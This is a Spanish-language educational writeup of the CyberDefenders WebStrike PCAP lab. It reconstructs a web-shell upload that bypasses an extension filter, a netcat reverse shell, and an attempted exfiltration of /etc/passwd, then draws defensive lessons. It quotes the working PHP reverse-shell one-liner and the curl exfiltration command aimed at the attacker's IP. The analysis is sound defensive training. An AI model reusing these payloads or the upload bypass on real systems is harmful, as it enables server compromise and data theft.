// Laboratorio WebStrike
// Análisis de PCAP, identificación de web shell y exfiltración de datos
// Plataforma: CyberDefenders
// Dificultad: Easy
*DISCLAMER* -> Este writeup es con fines educativos y de práctica profesional. Las respuestas mostradas corresponden al laboratorio público de CyberDefenders. Las direcciones IP y artefactos pertenecen al escenario controlado del reto, no a infraestructura real en producción.
SERIE // CyberDefenders Labs #01
0x00 Introducción
Este es el primer post de una serie donde documentaremos laboratorios de CyberDefenders, una plataforma de entrenamiento para Blue Team y analistas de ciberseguridad.
Empezamos con WebStrike, un laboratorio de forense de red donde investigamos una actividad sospechosa detectada en un servidor web, capturada en forma de archivo PCAP.
El escenario resalta un incidente de seguridad crítico que involucra la carga no autorizada de un web shell malicioso, la posterior ejecución de comandos y un intento de exfiltración de datos confidenciales.
Usando Wireshark, examinamos sistemáticamente el tráfico capturado para responder preguntas clave sobre el ataque para poder identificar la geolocalización del atacante, pasando por la metodología de bypass de validaciones, hasta el intento de exfiltración.
0x01 El Escenario
Antes de abrir el archivo, definimos el caso en nuestra documentación:
| Elemento | Detalle |
|---|---|
| Víctima | Servidor Web (Linux/Apache) |
| Evidencia | Archivo .pcap (tráfico de red capturado) |
| Misión | Identificar cómo entró el atacante, qué archivos subió y qué comandos ejecutó |
Herramientas
| Herramienta | Uso |
|---|---|
| Wireshark | Análisis de tráfico de red (PCAP) |
| Brim / Zeek | (Opcional) Conversión del PCAP a logs legibles tipo flujo |
| CyberChef | Decodificación de posibles shells o comandos |
0x02 Análisis
Identificar el origen geográfico del ataque ayuda a implementar medidas de bloqueo geográfico y analizar la inteligencia sobre amenazas. ¿De qué ciudad se originó el ataque?
IP Geolocation es el proceso de determinar la ubicación física asociada con una dirección IP específica.
Esto se logra asignando la dirección IP a datos geográficos como país, ciudad, latitud, longitud y, a veces, incluso al ISP.
En ciberseguridad, la geolocalización IP desempeña un papel vital al ayudar a las organizaciones a identificar la fuente de la actividad de red, como posibles ataques o acceso no autorizado.
Esta información es crucial para implementar medidas de geo-blocking y adaptar estrategias de inteligencia sobre amenazas.
Para identificar el origen, abrimos el archivo PCAP en Wireshark y navegamos a Statistics → Endpoints.
Desde la pestaña IPv4 vemos todas las direcciones que interactuaron con la red
Identificamos dos direcciones IP principales. La IP de origen 117.11.88.124 destaca porque estableció una conexión con el servidor en 24.49.63.79.
Para investigar esta IP, utilizamos un servicio de geolocalización. En ipgeolocation.io ingresamos la dirección 117.11.88.124:
El geobloqueo puede implementarse como medida preventiva para restringir el tráfico desde ubicaciones de alto riesgo, reduciendo la probabilidad de actividades no autorizadas similares.
Respuesta: El ataque se originó en Tianjin, China.
Conocer el agente de usuario del atacante ayuda a crear reglas de filtrado sólidas. ¿Cuál es el User-Agent del atacante?
Un User-Agent es una cadena enviada por un cliente a un servidor como parte de un encabezado de solicitud HTTP.
Identifica el tipo de aplicación, sistema operativo, versión del software y plataforma del cliente.
Los atacantes a menudo spoofean cadenas User-Agent para disfrazar sus herramientas como navegadores legítimos.
Monitorizando cadenas sospechosas, las organizaciones pueden detectar tráfico malicioso y refinar sus sistemas de detección.
Para identificar el User-Agent, seguimos la transmisión HTTP entre el atacante y el servidor en Wireshark.
Hacemos clic derecho en el paquete HTTP y seleccionamos Follow → HTTP Stream
La solicitud HTTP GET capturada revela el User-Agent del atacante.
Esto indica que el atacante probablemente estaba emulando un navegador Firefox basado en Linux, para integrarse con el tráfico legítimo y evitar ser detectado.
Respuesta: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Necesitamos determinar si se explotó alguna vulnerabilidad. ¿Cuál es el nombre del web shell malicioso que se cargó correctamente?
Un web shell es un script malicioso cargado en un servidor web vulnerable que proporciona control remoto al atacante.
Los web shells se escriben comúnmente en PHP, ASP o Python y permiten ejecutar comandos arbitrarios, cargar archivos o pivotar a otros sistemas.
Aplicamos el filtro de Wireshark
ip.src == 117.11.88.124 and http.request.method=="POST"
Para aislar solicitudes HTTP POST que se originan en la IP del atacante
Se revelan dos solicitudes POST importantes:
Primer intento: El atacante intenta cargar un archivo llamado image.php vía el endpoint /reviews/upload.php.
El contenido muestra un fragmento de código PHP diseñado para establecer un reverse shell.
Este intento es rechazado por el servidor con un mensaje Invalid file format, indicando validación del lado del servidor.
Segundo intento: El atacante modifica el nombre a image.jpg.php e intenta cargar el mismo contenido malicioso
Esta vez la carga es exitosa.
El atacante evade la validación agregando .jpg al nombre del archivo, engañando al mecanismo de filtrado del servidor.
Esto pone de relieve la explotación de una validación de entrada inadecuada en el servidor web, lo que permite al atacante ejecutar código malicioso y mantener acceso no autorizado.
Respuesta: image.jpg.php
Identificar el directorio donde se almacenan los archivos cargados es crucial para localizar la página vulnerable y eliminar archivos maliciosos. ¿Qué directorio utiliza el sitio web para almacenar los archivos cargados?
A partir del tráfico capturado, las cargas se procesan a través del endpoint /reviews/upload.php.
Tras una carga exitosa, las solicitudes posteriores del atacante y las respuestas del servidor revelan información adicional.
La transmisión HTTP muestra un GET a /reviews/uploads, donde el servidor responde con un código 301 Moved Permanently, redirigiendo a /reviews/uploads/.
Respuesta: /reviews/uploads/
¿Qué puerto, abierto en la máquina del atacante, fue utilizado por el web shell malicioso para establecer una comunicación saliente no autorizada?
Para determinar el puerto, nos referimos al contenido del web shell cargado.
El código PHP incrustado en image.jpg.php incluye un reverse shell
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>
El comando nc (netcat) especifica explícitamente la IP del atacante 117.11.88.124 y el número de puerto 8080.
El reverse shell intentó establecer una conexión con la máquina del atacante en ese puerto.
Identificar este puerto es crítico para configurar firewalls o IDS/IPS que monitoreen o bloqueen dicha comunicación saliente.
Respuesta: Puerto 8080
Reconocer la importancia de los datos comprometidos ayuda a priorizar las acciones de respuesta a incidentes. ¿Qué archivo intentaba exfiltrar el atacante?
Para identificar el archivo objetivo, examinamos los comandos ejecutados durante la sesión de reverse shell. Aplicamos el filtro
(tcp.port==8080) && (ip.src==24.49.63.79)
Este filtro captura el tráfico saliente del servidor víctima hacia la máquina del atacante en el puerto 8080.
Al examinar el flujo TCP se revela un comando curl para la exfiltración
curl -X POST -d /etc/passwd http://117.11.88.124:443/
El atacante intenta transferir el archivo /etc/passwd a su máquina vía HTTP en el puerto 443.
El archivo /etc/passwd es un objetivo crítico ya que contiene una lista de usuarios del sistema y su información de configuración asociada.
Aunque no contiene hashes de contraseñas directamente (los sistemas modernos utilizan /etc/shadow), es invaluable para reconocimiento y puede ayudar en esfuerzos de escalada de privilegios.
Respuesta: /etc/passwd
0x03 Resumen del Ataque
| Fase | Acción del Atacante | Evidencia |
|---|---|---|
| Reconocimiento | Acceso desde Tianjin, China | 117.11.88.124 |
| Acceso Inicial | Upload de web shell con bypass de validación | image.jpg.php |
| Ejecución | Reverse shell con netcat | Puerto 8080 |
| Exfiltración | Intento de robo de /etc/passwd | curl -X POST → puerto 443 |
0x04 Lecciones Aprendidas
Claves extraídas del laboratorio
1. Validación de uploads: La validación del servidor era insuficiente.
Solo verificaba la extensión final, no el tipo MIME real ni el contenido del archivo.
Una validación robusta debe comprobar magic bytes, content-type y extensión de forma conjunta.
2. Monitorización de tráfico saliente: El reverse shell en el puerto 8080 y la exfiltración por el puerto 443 podrían haberse detectado con reglas de IDS/IPS que monitoricen conexiones salientes inusuales desde el servidor web.
3. Geo-blocking y filtrado de User-Agent: Aunque no son defensas infalibles, añaden capas adicionales de protección.
El atacante usaba un User-Agent legítimo de Firefox, lo que refuerza la necesidad de correlacionar múltiples indicadores.
4. Principio de mínimo privilegio: El servidor web no debería tener capacidad de ejecutar comandos del sistema ni establecer conexiones salientes arbitrarias.
La combinación de análisis de red con Wireshark y la comprensión de las técnicas del atacante permite a los equipos de respuesta a incidentes reconstruir la cadena de ataque completa y fortalecer las defensas.
[EOF] "Trust the logs, not the assumptions"